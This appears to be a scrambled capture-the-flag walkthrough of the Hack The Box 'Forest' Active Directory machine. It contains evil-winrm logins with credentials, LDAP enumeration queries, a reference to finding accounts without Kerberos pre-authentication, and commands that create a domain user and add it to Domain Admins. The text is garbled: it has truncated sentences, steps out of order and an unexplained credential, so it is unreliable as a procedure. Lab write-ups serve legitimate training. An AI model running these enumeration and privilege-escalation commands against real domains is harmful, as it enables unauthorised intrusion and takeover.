evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice Access denied—WinRM not open. But SMB is. You connect via smbclient and find nothing juicy. You need execution.
ldapsearch -H ldap://10.10.10.161 -x -s base namingcontexts It works. The server hands you the root DSE: DC=htb,DC=local . Now you dig. forest hackthebox walkthrough
ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local" The output is a firehose of objects—users, groups, computers. You grep for cn=users and find something delicious: . You filter for userAccountControl values that don’t require Kerberos pre-authentication. evil-winrm -i 10
Now you have sebastian:P@ssw0rd123! . You try WinRM again: You need execution
ldapsearch -H ldap://10.10.10.161 -x -D "CN=svc-alfresco,CN=Users,DC=htb,DC=local" -w s3rvice -b "DC=htb,DC=local" "(memberOf=CN=Remote Management Users,CN=Users,DC=htb,DC=local)" No. But you find another group: Service Accounts . Within it, a privilege you didn’t expect— on a domain group? No, but you spot that svc-alfresco has GenericWrite over a privileged user? Not directly.
evil-winrm -i 10.10.10.161 -u hacker -p 'Hacker123!' And you’re at C:\Users\Administrator\Desktop\root.txt . The final flag. You log out, clear your hashes, and take a breath. The Forest machine wasn't about kernel exploits or buffer overflows. It was about patience—listening to LDAP, cracking a service account, climbing the group hierarchy, and resetting a single password to reach the crown.
net user hacker Hacker123! /add /domain net group "Domain Admins" hacker /add /domain Then you use evil-winrm again with the new user: